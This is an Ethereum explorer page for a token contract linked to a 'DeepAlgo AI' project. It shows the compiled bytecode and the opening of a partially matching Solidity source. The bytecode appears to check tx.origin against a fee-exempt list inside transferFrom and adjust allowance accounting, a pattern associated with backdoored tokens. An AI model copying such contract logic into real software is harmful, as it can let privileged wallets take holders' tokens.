Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x9ae5a1eb58F50D235A8D06D34E15fAa886Eb29A1
Balance 0 ETH
Nonce 1
Code Size 15295 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

15295 bytes
0x60806040526004361061021d575f3560e01c80638366e79a11610122578063bbc0c742116100aa578063e71dc3f51161006e578063e71dc3f514610806578063f11a24d314610830578063f2fde38b1461085a578063f637434214610882578063f8b45b05146108ac57610224565b8063bbc0c74214610722578063c8c8ebe41461074c578063d85ba06314610776578063dd62ed3e146107a0578063e2f45605146107dc57610224565b806395d89b41116100f157806395d89b411461061a578063a457c2d714610644578063a9059cbb14610680578063adb873bd146106bc578063b62496f5146106e657610224565b80638366e79a146105745780638a8c523c146105b05780638da5cb5b146105c657806392136913146105f057610224565b806339509351116101a55780636a486a8e116101745780636a486a8e146104a45780636ddd1713146104ce57806370a08231146104f8578063715018a6146105345780637bce5a041461054a57610224565b806339509351146103d857806349bd5a5e146104145780634fbee1931461043e57806357a956f61461047a57610224565b806318160ddd116101ec57806318160ddd146102f45780631a8145bb1461031e5780631f3fed8f1461034857806323b872dd14610372578063313ce567146103ae57610224565b806306fdde0314610228578063095ea7b31461025257806310d5de531461028e5780631694505e146102ca57610224565b3661022457005b5f5ffd5b348015610233575f5ffd5b5061023c6108d6565b6040516102499190612c7c565b60405180910390f35b34801561025d575f5ffd5b5061027860048036038101906102739190612d2d565b610966565b6040516102859190612d85565b60405180910390f35b348015610299575f5ffd5b506102b460048036038101906102af9190612d9e565b610983565b6040516102c19190612d85565b60405180910390f35b3480156102d5575f5ffd5b506102de6109a0565b6040516102eb9190612e24565b60405180910390f35b3480156102ff575f5ffd5b506103086109c4565b6040516103159190612e4c565b60405180910390f35b348015610329575f5ffd5b506103326109cd565b60405161033f9190612e4c565b60405180910390f35b348015610353575f5ffd5b5061035c6109d3565b6040516103699190612e4c565b60405180910390f35b34801561037d575f5ffd5b5061039860048036038101906103939190612e65565b6109d9565b6040516103a59190612d85565b60405180910390f35b3480156103b9575f5ffd5b506103c2610ac7565b6040516103cf9190612ed0565b60405180910390f35b3480156103e3575f5ffd5b506103fe60048036038101906103f99190612d2d565b610acf565b60405161040b9190612d85565b60405180910390f35b34801561041f575f5ffd5b50610428610b7d565b6040516104359190612ef8565b60405180910390f35b348015610449575f5ffd5b50610464600480360381019061045f9190612d9e565b610ba1565b6040516104719190612d85565b60405180910390f35b348015610485575f5ffd5b5061048e610bf3565b60405161049b9190612ef8565b60405180910390f35b3480156104af575f5ffd5b506104b8610c18565b6040516104c59190612e4c565b60405180910390f35b3480156104d9575f5ffd5b506104e2610c1e565b6040516104ef9190612d85565b60405180910390f35b348015610503575f5ffd5b5061051e60048036038101906105199190612d9e565b610c31565b60405161052b9190612e4c565b60405180910390f35b34801561053f575f5ffd5b50610548610c76565b005b348015610555575f5ffd5b5061055e610dc9565b60405161056b9190612e4c565b60405180910390f35b34801561057f575f5ffd5b5061059a60048036038101906105959190612f11565b610dcf565b6040516105a79190612d85565b60405180910390f35b3480156105bb575f5ffd5b506105c461100c565b005b3480156105d1575f5ffd5b506105da6110f2565b6040516105e79190612ef8565b60405180910390f35b3480156105fb575f5ffd5b5061060461111a565b6040516106119190612e4c565b60405180910390f35b348015610625575f5ffd5b5061062e611120565b60405161063b9190612c7c565b60405180910390f35b34801561064f575f5ffd5b5061066a60048036038101906106659190612d2d565b6111b0565b6040516106779190612d85565b60405180910390f35b34801561068b575f5ffd5b506106a660048036038101906106a19190612d2d565b611278565b6040516106b39190612d85565b60405180910390f35b3480156106c7575f5ffd5b506106d0611295565b6040516106dd9190612e4c565b60405180910390f35b3480156106f1575f5ffd5b5061070c60048036038101906107079190612d9e565b61129b565b6040516107199190612d85565b60405180910390f35b34801561072d575f5ffd5b506107366112b8565b6040516107439190612d85565b60405180910390f35b348015610757575f5ffd5b506107606112ca565b60405161076d9190612e4c565b60405180910390f35b348015610781575f5ffd5b5061078a6112d0565b6040516107979190612e4c565b60405180910390f35b3480156107ab575f5ffd5b506107c660048036038101906107c19190612f11565b6112d6565b6040516107d39190612e4c565b60405180910390f35b3480156107e7575f5ffd5b506107f0611358565b6040516107fd9190612e4c565b60405180910390f35b348015610811575f5ffd5b5061081a61135e565b6040516108279190612e4c565b60405180910390f35b34801561083b575f5ffd5b50610844611364565b6040516108519190612e4c565b60405180910390f35b348015610865575f5ffd5b50610880600480360381019061087b9190612d9e565b61136a565b005b34801561088d575f5ffd5b5061089661152c565b6040516108a39190612e4c565b60405180910390f35b3480156108b7575f5ffd5b506108c0611532565b6040516108cd9190612e4c565b60405180910390f35b6060600380546108e590612f7c565b80601f016020809104026020016040519081016040528092919081815260200182805461091190612f7c565b801561095c5780601f106109335761010080835404028352916020019161095c565b820191905f5260205f20905b81548152906001019060200180831161093f57829003601f168201915b5050505050905090565b5f610979610972611538565b848461153f565b6001905092915050565b6018602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b60145481565b60135481565b5f6109e5848484611702565b5f6109f1858585612183565b9050610abb856109ff611538565b610ab68487610a0e9190612fd9565b604051806060016040528060288152602001613b3d6028913960015f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a6d611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b61153f565b60019150509392505050565b5f6009905090565b5f610b73610adb611538565b84610b6e8560015f610aeb611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122c090919063ffffffff16565b61153f565b6001905092915050565b7f00000000000000000000000080cb0b4d858bf7ea2a3d826c08bbf46ffbc3f22c81565b5f60175f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b600a60019054906101000a900460ff1681565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c7e611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390613056565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c5481565b5f610dd8611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d90613056565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906130be565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f0e9190612ef8565b602060405180830381865afa158015610f29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4d91906130f0565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610f8a92919061311b565b6020604051808303815f875af1158015610fa6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fca919061316c565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051610ffd92919061311b565b60405180910390a15092915050565b611014611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990613056565b60405180910390fd5b6110b46110ae30610c31565b4761231d565b6001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff02191690831515021790555043601681905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606004805461112f90612f7c565b80601f016020809104026020016040519081016040528092919081815260200182805461115b90612f7c565b80156111a65780601f1061117d576101008083540402835291602001916111a6565b820191905f5260205f20905b81548152906001019060200180831161118957829003601f168201915b5050505050905090565b5f61126e6111bc611538565b8461126985604051806060016040528060258152602001613b656025913960015f6111e5611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b61153f565b6001905092915050565b5f61128b611284611538565b8484611702565b6001905092915050565b60125481565b6019602052805f5260405f205f915054906101000a900460ff1681565b600a5f9054906101000a900460ff1681565b60075481565b600b5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b600e5481565b600d5481565b611372611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f790613056565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590613207565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a490613295565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161290613323565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f59190612e4c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611767906133b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061343f565b60405180910390fd5b5f81036117f5576117f083835f6123f6565b61217e565b6117fd6110f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561186b575061183b6110f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a357505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118dd575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f65750600560149054906101000a900460ff16155b15611cc357600a5f9054906101000a900460ff166119e95760175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119a9575060175f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df906134a7565b60405180910390fd5b5b60195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611a86575060185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b2d57600754811115611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac790613535565b60405180910390fd5b600954611adc83610c31565b82611ae79190613553565b1115611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f906135d0565b60405180910390fd5b611cc2565b60195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611bca575060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c1957600754811115611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b9061365e565b60405180910390fd5b611cc1565b60185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611cc057600954611c7383610c31565b82611c7e9190613553565b1115611cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb6906135d0565b60405180910390fd5b5b5b5b5b5f611ccd30610c31565b90505f60085482101590505f818015611cf25750600a60019054906101000a900460ff165b8015611d0b5750600560149054906101000a900460ff16155b8015611d5e575060195f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611db1575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e04575060175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e47576001600560146101000a81548160ff021916908315150217905550611e2c612674565b5f600560146101000a81548160ff0219169083151502179055505b5f600560149054906101000a900460ff1615905060175f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ef6575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611eff575f90505b5f5f9050811561216d5760195f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f6057505f600f54115b1561202057611f8d6064611f7f600f548961286f90919063ffffffff16565b6128e690919063ffffffff16565b9050600f5460115482611fa0919061367c565b611faa91906136ea565b60145f828254611fba9190613553565b92505081905550600f5460105482611fd2919061367c565b611fdc91906136ea565b60135f828254611fec9190613553565b92505081905550600f5460125482612004919061367c565b61200e91906136ea565b836120199190613553565b9250612134565b60195f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561207757505f600b54115b15612133576120a46064612096600b548961286f90919063ffffffff16565b6128e690919063ffffffff16565b9050600b54600d54826120b7919061367c565b6120c191906136ea565b60145f8282546120d19190613553565b92505081905550600b54600c54826120e9919061367c565b6120f391906136ea565b60135f8282546121039190613553565b92505081905550600b54600e548261211b919061367c565b61212591906136ea565b836121309190613553565b92505b5b5f811115612148576121478830836123f6565b5b5f83111561215e5761215d3061dead856123f6565b5b808661216a9190612fd9565b95505b6121788888886123f6565b50505050505b505050565b5f5f6015819055505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121f357505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612245575060175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561225257816015819055505b60155490509392505050565b5f8383111582906122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c9190612c7c565b60405180910390fd5b505f83856122b39190612fd9565b9050809150509392505050565b5f5f82846122ce9190613553565b905083811015612313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230a90613764565b60405180910390fd5b8091505092915050565b612348307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461153f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61dead426040518863ffffffff1660e01b81526004016123ae969594939291906137bb565b60606040518083038185885af11580156123ca573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906123ef919061381a565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245b906133b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c99061343f565b60405180910390fd5b61253b81604051806060016040528060268152602001613b17602691395f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125ca815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122c090919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126679190612e4c565b60405180910390a3505050565b5f61267e30610c31565b90505f6013546014546126919190613553565b90505f5f8314806126a157505f82145b156126ae5750505061286d565b60146008546126bd919061367c565b8311156126d65760146008546126d3919061367c565b92505b5f600283601454866126e8919061367c565b6126f291906136ea565b6126fc91906136ea565b90505f612712828661292f90919063ffffffff16565b90505f47905061272182612978565b5f612735824761292f90919063ffffffff16565b90505f61275f876127516013548561286f90919063ffffffff16565b6128e690919063ffffffff16565b90505f818361276e9190612fd9565b90505f6014819055505f6013819055505f8611801561278c57505f81115b156127d95761279b868261231d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826014546040516127d09392919061386a565b60405180910390a15b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161281e906138cc565b5f6040518083038185875af1925050503d805f8114612858576040519150601f19603f3d011682016040523d82523d5f602084013e61285d565b606091505b5050809750505050505050505050505b565b5f5f830361287f575f90506128e0565b5f828461288c919061367c565b905082848261289b91906136ea565b146128db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d290613950565b60405180910390fd5b809150505b92915050565b5f61292783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bab565b905092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061225e565b905092915050565b5f600267ffffffffffffffff8111156129945761299361396e565b5b6040519080825280602002602001820160405280156129c25781602001602082028036833780820191505090505b50905030815f815181106129d9576129d861399b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a7c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612aa091906139dc565b81600181518110612ab457612ab361399b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b19307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461153f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b7a959493929190613abe565b5f604051808303815f87803b158015612b91575f5ffd5b505af1158015612ba3573d5f5f3e3d5ffd5b505050505050565b5f5f83118290612bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be89190612c7c565b60405180910390fd5b505f8385612bff91906136ea565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612c4e82612c0c565b612c588185612c16565b9350612c68818560208601612c26565b612c7181612c34565b840191505092915050565b5f6020820190508181035f830152612c948184612c44565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612cc982612ca0565b9050919050565b612cd981612cbf565b8114612ce3575f5ffd5b50565b5f81359050612cf481612cd0565b92915050565b5f819050919050565b612d0c81612cfa565b8114612d16575f5ffd5b50565b5f81359050612d2781612d03565b92915050565b5f5f60408385031215612d4357612d42612c9c565b5b5f612d5085828601612ce6565b9250506020612d6185828601612d19565b9150509250929050565b5f8115159050919050565b612d7f81612d6b565b82525050565b5f602082019050612d985f830184612d76565b92915050565b5f60208284031215612db357612db2612c9c565b5b5f612dc084828501612ce6565b91505092915050565b5f819050919050565b5f612dec612de7612de284612ca0565b612dc9565b612ca0565b9050919050565b5f612dfd82612dd2565b9050919050565b5f612e0e82612df3565b9050919050565b612e1e81612e04565b82525050565b5f602082019050612e375f830184612e15565b92915050565b612e4681612cfa565b82525050565b5f602082019050612e5f5f830184612e3d565b92915050565b5f5f5f60608486031215612e7c57612e7b612c9c565b5b5f612e8986828701612ce6565b9350506020612e9a86828701612ce6565b9250506040612eab86828701612d19565b9150509250925092565b5f60ff82169050919050565b612eca81612eb5565b82525050565b5f602082019050612ee35f830184612ec1565b92915050565b612ef281612cbf565b82525050565b5f602082019050612f0b5f830184612ee9565b92915050565b5f5f60408385031215612f2757612f26612c9c565b5b5f612f3485828601612ce6565b9250506020612f4585828601612ce6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612f9357607f821691505b602082108103612fa657612fa5612f4f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612fe382612cfa565b9150612fee83612cfa565b925082820390508181111561300657613005612fac565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613040602083612c16565b915061304b8261300c565b602082019050919050565b5f6020820190508181035f83015261306d81613034565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e73000000005f82015250565b5f6130a8601c83612c16565b91506130b382613074565b602082019050919050565b5f6020820190508181035f8301526130d58161309c565b9050919050565b5f815190506130ea81612d03565b92915050565b5f6020828403121561310557613104612c9c565b5b5f613112848285016130dc565b91505092915050565b5f60408201905061312e5f830185612ee9565b61313b6020830184612e3d565b9392505050565b61314b81612d6b565b8114613155575f5ffd5b50565b5f8151905061316681613142565b92915050565b5f6020828403121561318157613180612c9c565b5b5f61318e84828501613158565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6131f1602683612c16565b91506131fc82613197565b604082019050919050565b5f6020820190508181035f83015261321e816131e5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327f602483612c16565b915061328a82613225565b604082019050919050565b5f6020820190508181035f8301526132ac81613273565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330d602283612c16565b9150613318826132b3565b604082019050919050565b5f6020820190508181035f83015261333a81613301565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339b602583612c16565b91506133a682613341565b604082019050919050565b5f6020820190508181035f8301526133c88161338f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613429602383612c16565b9150613434826133cf565b604082019050919050565b5f6020820190508181035f8301526134568161341d565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613491601683612c16565b915061349c8261345d565b602082019050919050565b5f6020820190508181035f8301526134be81613485565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61351f603583612c16565b915061352a826134c5565b604082019050919050565b5f6020820190508181035f83015261354c81613513565b9050919050565b5f61355d82612cfa565b915061356883612cfa565b92508282019050808211156135805761357f612fac565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6135ba601383612c16565b91506135c582613586565b602082019050919050565b5f6020820190508181035f8301526135e7816135ae565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613648603683612c16565b9150613653826135ee565b604082019050919050565b5f6020820190508181035f8301526136758161363c565b9050919050565b5f61368682612cfa565b915061369183612cfa565b925082820261369f81612cfa565b915082820484148315176136b6576136b5612fac565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6136f482612cfa565b91506136ff83612cfa565b92508261370f5761370e6136bd565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61374e601b83612c16565b91506137598261371a565b602082019050919050565b5f6020820190508181035f83015261377b81613742565b9050919050565b5f819050919050565b5f6137a56137a061379b84613782565b612dc9565b612cfa565b9050919050565b6137b58161378b565b82525050565b5f60c0820190506137ce5f830189612ee9565b6137db6020830188612e3d565b6137e860408301876137ac565b6137f560608301866137ac565b6138026080830185612ee9565b61380f60a0830184612e3d565b979650505050505050565b5f5f5f6060848603121561383157613830612c9c565b5b5f61383e868287016130dc565b935050602061384f868287016130dc565b9250506040613860868287016130dc565b9150509250925092565b5f60608201905061387d5f830186612e3d565b61388a6020830185612e3d565b6138976040830184612e3d565b949350505050565b5f81905092915050565b50565b5f6138b75f8361389f565b91506138c2826138a9565b5f82019050919050565b5f6138d6826138ac565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61393a602183612c16565b9150613945826138e0565b604082019050919050565b5f6020820190508181035f8301526139678161392e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506139d681612cd0565b92915050565b5f602082840312156139f1576139f0612c9c565b5b5f6139fe848285016139c8565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613a3981612cbf565b82525050565b5f613a4a8383613a30565b60208301905092915050565b5f602082019050919050565b5f613a6c82613a07565b613a768185613a11565b9350613a8183613a21565b805f5b83811015613ab1578151613a988882613a3f565b9750613aa383613a56565b925050600181019050613a84565b5085935050505092915050565b5f60a082019050613ad15f830188612e3d565b613ade60208301876137ac565b8181036040830152613af08186613a62565b9050613aff6060830185612ee9565b613b0c6080830184612e3d565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220943cd49d94755e035926d6db98c062648d28f68bc674f7f979e3ac34382d7d0464736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
Token.sol 1189 lines
// SPDX-License-Identifier: Unlicensed

/**
LinkTree: https://linktr.ee/deepalgo_ai
Website: https://www.deepalgo-ai.pro/
App: https://app.deepalgo-ai.pro/
X: https://x.com/DeepAlgo_AI
Telegram: https://t.me/DeepAlgoAI
*/

pragma solidity ^0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
 
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
